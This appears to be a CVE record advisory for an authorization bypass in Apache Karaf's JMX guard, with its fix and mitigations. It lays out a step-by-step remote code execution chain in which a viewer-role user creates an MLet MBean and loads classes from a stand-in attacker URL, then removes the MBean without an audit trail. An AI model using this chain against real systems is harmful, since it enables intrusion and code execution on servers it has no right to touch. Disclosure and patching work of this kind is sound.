{
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Apache Karaf",
          "vendor": "Apache Software Foundation",
          "versions": [
            {
              "lessThan": "4.4.12",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "MopMonk-AI <mopmonk-ai@tophant.com>"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Apache Karaf exposes a JMX MBeanServer guarded by&nbsp;<code>KarafMBeanServerGuard</code>, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a j<code>ava.lang.reflect.Proxy</code>&nbsp;around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in&nbsp;<code>MBeanInvocationHandler#guarded</code>:<div><br></div><div><code>&nbsp; private final List&lt;String&gt; guarded = Collections.unmodifiableList( Arrays.asList(\"invoke\", \"getAttribute\", \"getAttributes\", \"setAttribute\", \"setAttributes\"));</code></div><div><br></div><div>The MBean lifecycle operations&nbsp;<code>MBeanServer#createMBean</code>,&nbsp;<code>#registerMBean</code>&nbsp;and&nbsp;<code>#unregisterMBean</code>&nbsp;are not in this list. Calls to these methods are forwarded directly to the underlying&nbsp;<code>MBeanServer</code>&nbsp;with no role check at all, regardless of the roles configured in&nbsp;<span>etc/jmx.acl.*.cfg.</span></div><div><br></div><div>As a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged \"<code>viewer</code>\" role, can call&nbsp;<code>createMBean()</code>&nbsp;to instantiate an arbitrary class as a MBean, and&nbsp;<code>unregisterMBean()</code>&nbsp;to remove it again afterwards, with no authorization check and no audit log entry (logging in&nbsp;<code>KarafMBeanServerGuard</code>&nbsp;only occurs on the RBAC-denial path, which this bypass never reaches).</div><div><br></div><div>This is significant because&nbsp;<code>javax.management.loading.MLet</code>, a standard JDK MBean, can be instantiated this way.&nbsp;<code>MLet</code>&nbsp;acts as a remote classloader: its&nbsp;<code>getMBeansFromURL(URL)</code>&nbsp;operation fetches an&nbsp;<code>MLet</code>&nbsp;text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through&nbsp;<code>KarafMBeanServerGuard</code>'s existing \"invoke\" check, but the default&nbsp;<code>etc/jmx.acl.cfg</code>&nbsp;grants the \"<code>viewer</code>\" role to any method name matching the wildcard rule \"<code>get* = viewer</code>\", a heuristic intended for read-only getters. Because \"<code>getMBeansFromURL</code>\" happens to start with \"<code>get</code>\", it also matches that rule, so a default installation grants \"viewer\" callers permission to invoke it without any Karaf-specific ACL naming&nbsp;<code>MLet</code>&nbsp;at all. Combined with the createMBean gap, this gives a \"<code>viewer</code>\"-role JMX client a path to remote code execution to the Karaf JVM:</div><div><ol><li>Authenticate to JMX as any user with any role (e.g. \"<code>viewer</code>\").</li><li><code>mbs.createMBean(\"javax.management.loading.MLet\", objectName)</code>&nbsp;is not in&nbsp;<code>GUARDED_OPERATIONS</code>, no RBAC check, MLet is instantiated and registered.</li><li><code>mbs.invoke(objectName, \"getMBeansFromURL\", new Object[]{\"http://attacker/mlet.txt\"}, ...)</code>&nbsp;is guarded, but the method name matches the default \"<code>get* = viewer</code>\" ACL rule, so permitted.</li><li>The remote&nbsp;<code>.mlet</code>&nbsp;file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM.</li><li><code>mbs.unregisterMBean(objectName)</code>&nbsp;can be used to remove the MLet afterwards, also not in&nbsp;<code>GUARDED_OPERATIONS</code>, no RBAC check, no audit trail.</li></ol></div><div>The fix adds&nbsp;<code>createMBean</code>,&nbsp;<code>registerMBean</code>&nbsp;and&nbsp;<code>unregisterMBean</code>&nbsp;to the guarded operation list, resolves required roles for them from the&nbsp;<code>jmx.acl*</code>&nbsp;configuration by&nbsp;<code>ObjectName</code>&nbsp;and (for&nbsp;<code>createMBean</code>/<code>registerMBean</code>) MBean class name, and ships default&nbsp;<code>etc/jmx.acl.cfg</code>&nbsp;entries restricting all three operations to the \"<code>admin</code>\" role. This allows deployments to also write class-name-specific rule, e.g.:</div><div><br></div><div><code>createMBean(java.lang.String)[/javax\\.management\\.loading\\..*/] = admin</code></div><div><br></div><div>Apache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-\"<code>admin</code>\" JMX credentiels.</div>"
            }
          ],
          "value": "Apache Karaf exposes a JMX MBeanServer guarded by\u00a0KarafMBeanServerGuard, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a java.lang.reflect.Proxy\u00a0around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in\u00a0MBeanInvocationHandler#guarded:\n\n\n\u00a0 private final List<String> guarded = Collections.unmodifiableList( Arrays.asList(\"invoke\", \"getAttribute\", \"getAttributes\", \"setAttribute\", \"setAttributes\"));\n\n\n\n\nThe MBean lifecycle operations\u00a0MBeanServer#createMBean,\u00a0#registerMBean\u00a0and\u00a0#unregisterMBean\u00a0are not in this list. Calls to these methods are forwarded directly to the underlying\u00a0MBeanServer\u00a0with no role check at all, regardless of the roles configured in\u00a0etc/jmx.acl.*.cfg.\n\n\n\n\nAs a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged \"viewer\" role, can call\u00a0createMBean()\u00a0to instantiate an arbitrary class as a MBean, and\u00a0unregisterMBean()\u00a0to remove it again afterwards, with no authorization check and no audit log entry (logging in\u00a0KarafMBeanServerGuard\u00a0only occurs on the RBAC-denial path, which this bypass never reaches).\n\n\n\n\nThis is significant because\u00a0javax.management.loading.MLet, a standard JDK MBean, can be instantiated this way.\u00a0MLet\u00a0acts as a remote classloader: its\u00a0getMBeansFromURL(URL)\u00a0operation fetches an\u00a0MLet\u00a0text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through\u00a0KarafMBeanServerGuard's existing \"invoke\" check, but the default\u00a0etc/jmx.acl.cfg\u00a0grants the \"viewer\" role to any method name matching the wildcard rule \"get* = viewer\", a heuristic intended for read-only getters. Because \"getMBeansFromURL\" happens to start with \"get\", it also matches that rule, so a default installation grants \"viewer\" callers permission to invoke it without any Karaf-specific ACL naming\u00a0MLet\u00a0at all. Combined with the createMBean gap, this gives a \"viewer\"-role JMX client a path to remote code execution to the Karaf JVM:\n\n  *  Authenticate to JMX as any user with any role (e.g. \"viewer\").\n  *  mbs.createMBean(\"javax.management.loading.MLet\", objectName)\u00a0is not in\u00a0GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered.\n  *  mbs.invoke(objectName, \"getMBeansFromURL\", new Object[]{\"http://attacker/mlet.txt\"}, ...)\u00a0is guarded, but the method name matches the default \"get* = viewer\" ACL rule, so permitted.\n  *  The remote\u00a0.mlet\u00a0file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM.\n  *  mbs.unregisterMBean(objectName)\u00a0can be used to remove the MLet afterwards, also not in\u00a0GUARDED_OPERATIONS, no RBAC check, no audit trail.\n\n\nThe fix adds\u00a0createMBean,\u00a0registerMBean\u00a0and\u00a0unregisterMBean\u00a0to the guarded operation list, resolves required roles for them from the\u00a0jmx.acl*\u00a0configuration by\u00a0ObjectName\u00a0and (for\u00a0createMBean/registerMBean) MBean class name, and ships default\u00a0etc/jmx.acl.cfg\u00a0entries restricting all three operations to the \"admin\" role. This allows deployments to also write class-name-specific rule, e.g.:\n\n\n\n\ncreateMBean(java.lang.String)[/javax\\.management\\.loading\\..*/] = admin\n\n\n\n\nApache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-\"admin\" JMX credentiels."
        }
      ],
      "metrics": [
        {
          "other": {
            "content": {
              "text": "important"
            },
            "type": "Textual description of severity"
          },
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-862",
              "description": "CWE-862",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "orgId": "f0158376-9dc2-43b6-827c-5f631a4d8d09"
      },
      "references": [
        {
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://karaf.apache.org/security/cve-2026-92142.txt"
        }
      ],
      "source": {
        "discovery": "EXTERNAL"
      },
      "title": "Authorization bypass in JMX MBean lifecycle operations",
      "x_generator": {
        "engine": "Vulnogram 1.0.3"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "f0158376-9dc2-43b6-827c-5f631a4d8d09",
    "cveId": "CVE-2026-92142",
    "serial": 1,
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.0"
}